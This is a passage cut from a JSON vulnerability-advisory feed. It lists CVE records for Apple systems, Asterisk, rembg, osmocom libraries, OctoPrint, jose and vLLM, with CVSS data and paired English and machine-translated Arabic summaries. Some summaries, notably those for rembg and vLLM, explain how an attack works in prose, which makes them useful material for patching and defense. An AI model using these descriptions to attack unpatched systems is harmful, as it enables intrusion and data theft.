للتطبيق."},"refs":[["https://support.apple.com/en-us/149227","ref"],["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"],["https://support.apple.com/en-us/149524","ref"],["https://support.apple.com/en-us/149525","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112526","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-120","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:34:19Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"A buffer overflow was addressed with improved bounds checking.","ar":"معالجة فيضان المخزن المؤقت (buffer overflow) من خلال تحسين التحقق من الحدود."},"summary":{"en":"A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. A remote attacker may be able to cause unexpected app termination.","ar":"تمت معالجة فيضان المخزن المؤقت من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في الإصدارات macOS Golden Gate 27.2، وmacOS Sequoia 15.8.2، وmacOS Tahoe 26.7.2. قد يتمكن مهاجم عن بُعد من التسبب في إنهاء غير متوقع للتطبيق."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.0038,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112619","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:34:17Z","product":"Apple iOS and iPadOS","affected":[["0 – <27.2","27.2"]],"title":{"en":"An out-of-bounds write issue was addressed with improved bounds checking.","ar":"معالجة مشكلة كتابة خارج النطاق (out-of-bounds write) من خلال تحسين التحقق من الحدود."},"summary":{"en":"An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, visionOS 27.2, watchOS 27.2. Processing a maliciously crafted calendar invitation may lead to memory corruption.","ar":"تمت معالجة مشكلة كتابة خارج النطاق من خلال تحسين التحقق من الحدود. تم إصلاح هذه المشكلة في الإصدارات iOS 27.2 وiPadOS 27.2، وmacOS Golden Gate 27.2، وvisionOS 27.2، وwatchOS 27.2. معالجة دعوة تقويم مُصممة بطريقة خبيثة قد تؤدي إلى تلف الذاكرة."},"refs":[["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149525","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112530","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:34:12Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"A logic issue was addressed with improved checks.","ar":"معالجة مشكلة منطقية عبر تحسين الفحوصات."},"summary":{"en":"A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An app may be able to gain root privileges.","ar":"تمت معالجة مشكلة منطقية عبر تحسين الفحوصات. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 و macOS Sequoia 15.8.2 و macOS Tahoe 26.7.2. قد يتمكن تطبيق ما من الحصول على صلاحيات root."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-86896","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-269","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:34:07Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"],[" – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"],["27.0 – <27.2","27.2"]],"title":{"en":"A permissions issue was addressed with additional restrictions.","ar":"معالجة مشكلة أذونات مع قيود إضافية."},"summary":{"en":"A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. A malicious app may be able to gain root privileges.","ar":"معالجة مشكلة أذونات مع قيود إضافية. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد يتمكن تطبيق ضار من الحصول على صلاحيات root."},"refs":[["https://support.apple.com/en-us/149521","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112567","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:34:06Z","product":"Apple iOS and iPadOS","affected":[["0 – <27.2","27.2"],["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"]],"title":{"en":"This issue was addressed with improved checks.","ar":"معالجة هذه المشكلة من خلال تحسين عمليات التحقق."},"summary":{"en":"This issue was addressed with improved checks. This issue is fixed in iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. A malicious application may be able to bypass Privacy preferences.","ar":"تمت معالجة هذه المشكلة من خلال تحسين عمليات التحقق. تم إصلاح هذه المشكلة في الإصدارات iOS 27.2 وiPadOS 27.2، وmacOS Golden Gate 27.2، وmacOS Sequoia 15.8.2، وmacOS Tahoe 26.7.2، وtvOS 27.2، وvisionOS 27.2، وwatchOS 27.2. قد يتمكن تطبيق خبيث من تجاوز تفضيلات الخصوصية."},"refs":[["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"],["https://support.apple.com/en-us/149524","ref"],["https://support.apple.com/en-us/149525","ref"],["https://support.apple.com/en-us/149526","ref"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-ios-and-ipados"},{"id":"CVE-2026-112654","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:33:48Z","product":"Apple Safari","affected":[["0 – <27.2","27.2"],["0 – <26.7.2","26.7.2"]],"title":{"en":"A use-after-free issue was addressed with improved memory management.","ar":"معالجة مشكلة استخدام الذاكرة بعد تحريرها (use-after-free) من خلال تحسين إدارة الذاكرة."},"summary":{"en":"A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 27.2, iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, visionOS 27.2. Processing maliciously crafted web content may lead to an unexpected process termination.","ar":"تمت معالجة مشكلة استخدام الذاكرة بعد تحريرها من خلال تحسين إدارة الذاكرة. تم إصلاح هذه المشكلة في الإصدارات Safari 27.2، وiOS 26.7.2 وiPadOS 26.7.2، وiOS 27.2 وiPadOS 27.2، وmacOS Golden Gate 27.2، وvisionOS 27.2. معالجة محتوى ويب مُصمم بطريقة خبيثة قد تؤدي إلى إنهاء غير متوقع للعملية."},"refs":[["https://support.apple.com/en-us/149227","ref"],["https://support.apple.com/en-us/149230","ref"],["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149526","ref"],["https://support.apple.com/en-us/149527","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-safari"},{"id":"CVE-2026-112480","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:33:45Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"A permissions issue was addressed with additional restrictions.","ar":"معالجة مشكلة أذونات من خلال قيود إضافية."},"summary":{"en":"A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. A user with screen sharing access may be able to view another user's screen.","ar":"تمت معالجة مشكلة أذونات من خلال قيود إضافية. تم إصلاح هذه المشكلة في الإصدارات macOS Golden Gate 27.2، وmacOS Sequoia 15.8.2، وmacOS Tahoe 26.7.2. قد يتمكن مستخدم لديه صلاحية مشاركة الشاشة من عرض شاشة مستخدم آخر."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"],["https://support.apple.com/en-us/149523","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-65373","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-269","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:33:44Z","product":"Apple macOS","affected":[["0 – <15.8.2","15.8.2"],["0 – <26.7.2","26.7.2"],["0 – <27","27"],[" – <15.8.2","15.8.2"],["26.0 – <26.7.2","26.7.2"]],"title":{"en":"A permissions issue was addressed with additional restrictions.","ar":"معالجة مشكلة أذونات مع قيود إضافية."},"summary":{"en":"A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. A malicious app may be able to gain root privileges.","ar":"معالجة مشكلة أذونات مع قيود إضافية. تم إصلاح هذه المشكلة في macOS Golden Gate 27 وmacOS Sequoia 15.8.2 وmacOS Tahoe 26.7.2. قد يتمكن تطبيق ضار من الحصول على صلاحيات root."},"refs":[["https://support.apple.com/en-us/149035","advisory"],["https://support.apple.com/en-us/149522","advisory"],["https://support.apple.com/en-us/149523","advisory"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-112443","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:33:14Z","product":"Apple macOS","affected":[["0 – <26.7.2","26.7.2"],["0 – <27.2","27.2"]],"title":{"en":"The issue was addressed with improved memory handling.","ar":"تم معالجة المشكلة من خلال تحسين التعامل مع الذاكرة."},"summary":{"en":"The issue was addressed with improved memory handling. This issue is fixed in macOS Golden Gate 27.2, macOS Tahoe 26.7.2. An app may be able to cause unexpected system termination or corrupt process memory.","ar":"تم معالجة المشكلة من خلال تحسين التعامل مع الذاكرة. تم إصلاح هذه المشكلة في macOS Golden Gate 27.2 و macOS Tahoe 26.7.2. قد يتمكن أحد التطبيقات من التسبب في إنهاء غير متوقع للنظام أو إفساد ذاكرة العمليات."},"refs":[["https://support.apple.com/en-us/149521","ref"],["https://support.apple.com/en-us/149522","ref"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-57187","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T20:17:56Z","product":"asterisk asterisk","affected":[],"title":{"en":"Asterisk: Heap-use-after-free in Asterisk PJSIP TCP/SDP handling when TCP connection closes during SDP processing","ar":"Asterisk: خطأ استخدام الذاكرة المخصصة بعد تحريرها (Heap-use-after-free) في معالجة PJSIP TCP/SDP لبرنامج Asterisk عند إغلاق اتصال TCP أثناء معالجة SDP"},"summary":{"en":"Asterisk is an open source private branch exchange and telephony toolkit. Prior to Asterisk 20.20.1, 21.12.3, 22.10.1, 23.4.1 and Certified Asterisk 20.7-cert11, 22.8-cert3, an authenticated attacker may cause a heap-use-after-free in `PJSIP TCP/SDP` handling by sending a `SIP INVITE` over a connection-oriented transport and disconnecting before Asterisk responds with the `200 OK`. So far, the crash has only been reproduced when Asterisk is built with `Address Sanitizer`, which detects the issue. `Address Sanitizer` is a development tool with significant performance overhead and, according to the maintainer, is not used in production systems. This issue is fixed in Asterisk 20.20.1, 21.12.3, 22.10.1, 23.4.1 and Certified Asterisk 20.7-cert11, 22.8-cert3.","ar":"Asterisk هو نظام تبادل فرعي خاص مفتوح المصدر وأداة اتصالات هاتفية. قبل الإصدارات Asterisk 20.20.1 و21.12.3 و22.10.1 و23.4.1 وCertified Asterisk 20.7-cert11 و22.8-cert3، قد يتسبب مهاجم يملك حسابًا مصادقًا عليه في حدوث خطأ استخدام الذاكرة المخصصة بعد تحريرها في معالجة PJSIP TCP/SDP عن طريق إرسال SIP INVITE عبر نقل موجّه نحو الاتصال وإنهاء الاتصال قبل أن يرد Asterisk بـ 200 OK. حتى الآن، تم إعادة إنتاج التعطل فقط عندما يتم بناء Asterisk باستخدام Address Sanitizer، والذي يكتشف المشكلة. Address Sanitizer هو أداة تطوير ذات عبء أداء كبير ولا يتم استخدامها، وفقًا للمشرف، في الأنظمة الإنتاجية. تم إصلاح هذه الثغرة في الإصدارات Asterisk 20.20.1 و21.12.3 و22.10.1 و23.4.1 وCertified Asterisk 20.7-cert11 و22.8-cert3."},"refs":[["https://github.com/asterisk/asterisk/commit/0f076168e0be31ebee37762192d0ee049e9c0d42","ref"],["https://github.com/asterisk/asterisk/commit/27b9544b32f059a4f614169243eaa7559f622aa0","ref"],["https://github.com/asterisk/asterisk/commit/6e1f4df744369d66ea6f412e355d819b2a7bf26c","ref"],["https://github.com/asterisk/asterisk/commit/9e0386c6d259f0c7499d52499d9891bee8a494fa","ref"],["https://github.com/asterisk/asterisk/commit/b7ba85458796ef54b471017287c7806095dbda76","ref"],["https://github.com/asterisk/asterisk/commit/d4e30005940f86942745bcc64f34748d69870247","ref"],["https://github.com/asterisk/asterisk/commit/f1e47621472bb3d8ad71f32823f5ca986e008437","ref"],["https://github.com/asterisk/asterisk/releases/tag/20.20.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/21.12.3","ref"],["https://github.com/asterisk/asterisk/releases/tag/22.10.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/23.4.1","ref"],["https://github.com/asterisk/asterisk/releases/tag/certified-20.7-cert11","ref"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"asterisk"},{"id":"CVE-2026-115924","cvss":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T20:17:52Z","product":"danielgatis rembg","affected":[],"title":{"en":"Rembg: Unauthenticated SAM model injection permits local-file disclosure through malicious ONNX graphs","ar":"Rembg: حقن نموذج SAM دون مصادقة يتيح الكشف عن ملفات محلية من خلال رسوم بيانية خبيثة لـ ONNX"},"summary":{"en":"Rembg is a tool to remove images background. Prior to 2.0.82, the public /api/remove endpoint passes attacker-controlled extras.sam_model through rembg/commands/s_command.py to rembg/sessions/sam.py, where it is interpolated into SAM filenames and GitHub download URLs passed to pooch.retrieve() without a pinned hash. An unauthenticated attacker can supply a sam_model value combining path traversal with URL fragment syntax to exploit the HTTP request discarding the fragment while the local POSIX path retains it. The first request primes the attacker-selected path tree, and an identical repeated request downloads malicious ONNX encoder and decoder files beside a readable target file. The graphs can load the target through ONNX external data and encode its bytes into the returned PNG mask, disclosing complete files accessible to the rembg process and allowing arbitrary ONNX computation. This issue is fixed in version 2.0.82.","ar":"Rembg هي أداة لإزالة خلفية الصور. قبل الإصدار 2.0.82، تمرر نقطة النهاية العامة /api/remove القيم الإضافية التي يتحكم بها المهاجم extras.sam_model عبر rembg/commands/s_command.py إلى rembg/sessions/sam.py، حيث يتم إدراجها في أسماء ملفات SAM وروابط تنزيل GitHub المرسلة إلى pooch.retrieve() دون تجزئة مثبتة. يمكن لمهاجم دون مصادقة تزويد قيمة sam_model تجمع بين اجتياز المسار وبنية جزء الرابط (fragment) لاستغلإل تجاهل طلب HTTP للجزء بينما يحتفظ مسار POSIX المحلي به. يقوم الطلب الأول بتهيئة شجرة المسار التي اخترها المهاجم، ويقوم طلب مكرر ومطابق بتنزيل ملفات مشفر وفك تشفير ONNX خبيثة بجوار ملف هدف قابل للقراءة. يمكن للرسوم البيانية تحميل الهدف عبر بيانات ONNX الخارجية وتشفير بايتاتها في قناع PNG المُعاد، مما يفصح عن ملفات كاملة يمكن الوصول إليها بواسطة عملية rembg ويسمح بحسابات ONNX عشوائية. تم إصلاح هذه المشكلة في الإصدار 2.0.82."},"refs":[["https://github.com/danielgatis/rembg/commit/b2758c6b39bb2b02df90a03128110339476984d3","ref"],["https://github.com/danielgatis/rembg/releases/tag/v2.0.82","ref"],["https://github.com/danielgatis/rembg/security/advisories/GHSA-qr6x-7v33-6qmg","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"danielgatis-rembg"},{"id":"CVE-2026-104597","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T20:17:37Z","product":"Unknown product","affected":[],"title":{"en":"libosmocore through 1.14.1 contains an out-of-bounds read in iuup_rx_initialization() in src/gsm/iuup.c.","ar":"تحتوي مكتبة libosmocore حتى الإصدار 1.14.1 على قراءة خارج حدود المخزن المؤقت في الدالة iuup_rx_initialization() داخل src/gsm/iuup.c."},"summary":{"en":"libosmocore through 1.14.1 contains an out-of-bounds read in iuup_rx_initialization() in src/gsm/iuup.c. This allows a remote attacker to obtain sensitive information.","ar":"تحتوي مكتبة libosmocore حتى الإصدار 1.14.1 على قراءة خارج حدود المخزن المؤقت في الدالة iuup_rx_initialization() داخل src/gsm/iuup.c. يتيح ذلك لمهاجم عن بُعد الحصول على معلومات حساسة."},"refs":[["https://github.com/osmocom/libosmocore/commit/89e5ade1a01953752a53d83da4ba0b3ddbc30e30","ref"],["https://osmocom.org/issues/7052","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-104598","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T20:17:37Z","product":"Unknown product","affected":[],"title":{"en":"libosmo-sigtran through 2.2.1 contains an out-of-bounds read in the M3UA NOTIFY decoder in src/m3ua.c.","ar":"يحتوي libosmo-sigtran حتى الإصدار 2.2.1 على قراءة خارج حدود الذاكرة في أداة فك تشفير M3UA NOTIFY في الملف src/m3ua.c"},"summary":{"en":"libosmo-sigtran through 2.2.1 contains an out-of-bounds read in the M3UA NOTIFY decoder in src/m3ua.c. This allows a remote attacker to obtain sensitive information.","ar":"يحتوي libosmo-sigtran حتى الإصدار 2.2.1 على قراءة خارج حدود الذاكرة في أداة فك تشفير M3UA NOTIFY في الملف src/m3ua.c. يتيح هذا للمهاجم عن بُعد الحصول على معلومات حساسة."},"refs":[["https://github.com/osmocom/libosmo-sigtran/commit/b554131f2cbb20ca9a9cf51ca17d73f644eff1f8","ref"],["https://osmocom.org/issues/7056","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2014-125135","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-320","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T20:17:09Z","product":"OctoPrint","affected":[["1.0.0",null],["1.1.0",null]],"title":{"en":"OctoPrint Flask Secret Key hard-coded key","ar":"مفتاح تشفير ثابت مفتاح Flask السري في OctoPrint"},"summary":{"en":"A security vulnerability has been detected in OctoPrint 1.0.0/1.1.0. Affected is an unknown function of the component Flask Secret Key Handler. Such manipulation leads to use of hard-coded cryptographic key . The attack may be performed from remote. Upgrading to version 1.11.1 is able to address this issue. The name of the patch is b4699825d6ab92d5451e5b1e3a06dfb81f86e777. The affected component should be upgraded.","ar":"تم اكتشاف ثغرة أمنية في OctoPrint 1.0.0/1.1.0. التأثير يقع على دالة غير معروفة ضمن مكون Flask Secret Key Handler. يؤدي هذا التلاعب إلى استخدام مفتاح تشفير ثابت. قد يتم تنفيذ الهجوم من بُعد. الترقية إلى الإصدار 1.11.1 تعالج هذه المشكلة. اسم التصحيح هو b4699825d6ab92d5451e5b1e3a06dfb81f86e777، ويجب ترقية المكون المتأثر."},"refs":[["https://github.com/OctoPrint/OctoPrint/commit/b4699825d6ab92d5451e5b1e3a06dfb81f86e777","patch"],["https://github.com/OctoPrint/OctoPrint/releases/tag/1.11.1","patch"],["https://vuldb.com/cve/CVE-2014-125135","advisory"],["https://vuldb.com/submit/994545","advisory"],["https://github.com/OctoPrint/OctoPrint/","ref"],["https://vuldb.com/vuln/426129","ref"],["https://vuldb.com/vuln/426129/cti","ref"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"octoprint"},{"id":"CVE-2026-65629","cvss":7.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-916","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T19:53:35Z","product":"potatosalad jose","affected":[["1.10.0 – <1.11.13","1.11.13"]],"title":{"en":"Weak PBKDF2 parameters for password-encrypted private-key export in jose","ar":"معاملات PBKDF2 ضعيفة لتصدير المفتاح الخاص المشفر بكلمة مرور في مكتبة jose"},"summary":{"en":"Use of Password Hash With Insufficient Computational Effort in the jose library allows an attacker who obtains a password-encrypted private-key export to recover the private key through an offline password-cracking attack. When jose exports a password-encrypted private key with jose_jwk:to_der/2 (JOSE.JWK.to_der/2), the jose_jwk_der:to_binary/3 function in src/jwk/jose_jwk_der.erl serializes the key as a PKCS#8 EncryptedPrivateKeyInfo using the PBES2 scheme with hardcoded key-derivation parameters: PBKDF2-HMAC-SHA256 with an iteration count of 2048 and an 8-byte (64-bit) random salt. Neither value can be overridden by the caller. Both values are far below current guidance (OWASP recommends on the order of 600,000 iterations for PBKDF2-HMAC-SHA256, and NIST recommends salts of at least 128 bits), so the key-stretching work factor is roughly 300 times lower than intended and the short salt reduces the cost of precomputation across keys. The symmetric encryption (AES-256-CBC with a 16-byte random IV) is not affected; the weakness is entirely in the derivation strength. An attacker who obtains one of these exported blobs (for example from a backup, configuration repository, object storage, or logs) can mount a cheap offline dictionary or brute-force attack against the export password, and success yields the full private key. This issue affects jose: from 1.10.0 before 1.11.13.","ar":"يؤدي استخدام تجزئة كلمة مرور ذات جهد حسابي غير كافٍ في مكتبة jose إلى السماح لمهاجم يحصل على مفتاح خاص مصدر ومشفر بكلمة مرور استعادة المفتاح الخاص من خلال هجوم تخمين كلمة مرور بلا اتصال بالإنترنت. عندما تقوم jose بتصدير مفتاح خاص مشفر بكلمة مرور باستخدام jose_jwk:to_der/2 (JOSE.JWK.to_der/2)، فإن دالة jose_jwk_der:to_binary/3 في src/jwk/jose_jwk_der.erl تقوم بتسلسل المفتاح كـ PKCS#8 EncryptedPrivateKeyInfo باستخدام مخطط PBES2 مع معاملات اشتقاق مفتاح مُضمنة ثابتة: PBKDF2-HMAC-SHA256 مع عدد تكرارات يبلغ 2048 وملح عشوائي بحجم 8 بايت (64 بت). لا يمكن تجاوز أي من القوتين بواسطة المستدعي. كلا القوتين أقل بكثير من الإرشادات الحالية (توصي OWASP بحوالي 600,000 تكرار لـ PBKDF2-HMAC-SHA256، وتوصي NIST بملح لا يقل عن 128 بت)، لذا فإن عامل عمل مطّ المفتاح أقل بحوالي 300 مرة مما هو مقصود والملح القصير يقلل من تكلفة الحساب المسبق عبر المفاتيح. التشفير المتماثل (AES-256-CBC مع IV عشوائي بحجم 16 بايت) غير متأثر؛ والضعف يكمن بالكامل في قوة الاشتقاق. يمكن لمهاجم يحصل على إحدى هذه الكتل المصدرة (على سبيل المثال من نسخة احتياطية، أو مستودع تكوين، أو تخزين كائنات، أو سجلات) شن هجوم قاموس أو هجوم القوة الغاشمة رخيص بلا اتصال بالإنترنت ضد كلمة مرور التصدير، والنجاح يسفر عن المفتاح الخاص بالكامل. تؤثر هذه المشكلة على jose: من الإصدار 1.10.0 قبل 1.11.13."},"refs":[["https://github.com/potatosalad/erlang-jose/commit/461b261902531ca016190e780bb70862d561a7e0","patch"],["https://github.com/potatosalad/erlang-jose/security/advisories/GHSA-h4gx-8jq2-mfhc","advisory"],["https://cna.erlef.org/cves/CVE-2026-65629.html","ref"],["https://osv.dev/vulnerability/EEF-CVE-2026-65629","ref"],["https://github.com/potatosalad/erlang-jose/commit/85fddd89ee56b6f9c19eff7d9cfffeef62c330b9","ref"]],"epss":0.0006,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"potatosalad-jose"},{"id":"CVE-2026-104593","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-121","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-26T19:16:28Z","product":"Unknown product","affected":[],"title":{"en":"osmo-msc through 1.15.0 contains a stack-based buffer overflow in decode_mme_name() in src/libmsc/sgs_iface.c.","ar":"يحتوي osmo-msc حتى الإصدار 1.15.0 على فيضان المخزن المؤقت القائم على المكدس في الدالة decode_mme_name() داخل src/libmsc/sgs_iface.c"},"summary":{"en":"osmo-msc through 1.15.0 contains a stack-based buffer overflow in decode_mme_name() in src/libmsc/sgs_iface.c. This allows a remote attacker to cause a denial of service.","ar":"يحتوي osmo-msc حتى الإصدار 1.15.0 على فيضان المخزن المؤقت القائم على المكدس في الدالة decode_mme_name() داخل src/libmsc/sgs_iface.c. يتيح هذا للمهاجم عن بُعد التسبب في حجب الخدمة."},"refs":[["https://github.com/osmocom/osmo-msc/commit/cd347bbe5392d8170ab87140b2bfdac683058b09","ref"],["https://osmocom.org/issues/7058","ref"]],"epss":0.0045,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-115915","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-26T18:17:38Z","product":"Vllm Vllm","affected":[["0.30.0 – <0.32.0","0.32.0"],["< 0.32.0","0.32.0"]],"title":{"en":"vLLM: Untrusted EPS inputs can trigger denial of service or Ghostscript RCE","ar":"vLLM: مدخلات EPS غير الموثوقة قد تؤدي إلى حجب الخدمة أو تنفيذ أوامر عن بُعد عبر Ghostscript"},"summary":{"en":"vLLM is an inference and serving engine for large language models. Prior to 0.32.0, ImageMediaIO passes attacker-controlled image bytes to Pillow through Image.open(BytesIO(data)) without restricting decoder selection, and the MIME label does not constrain the selected format. Image-capable request paths through parse_image() and fetch_image() can therefore dispatch an EPS payload to host components. A host with Ghostscript affected by CVE-2024-29510 can execute commands with the vLLM process's privileges, while environments using Pillow 12.0.0 through 12.2.0 can trigger CVE-2026-59203 and exhaust media-loading workers. Deployments without the applicable vulnerable dependency are not affected by that corresponding impact. This issue is fixed in version 0.32.0.","ar":"يُعد vLLM محرك استنتاج وخدمة لنماذج اللغات الكبيرة. قبل الإصدار 0.32.0، يقوم 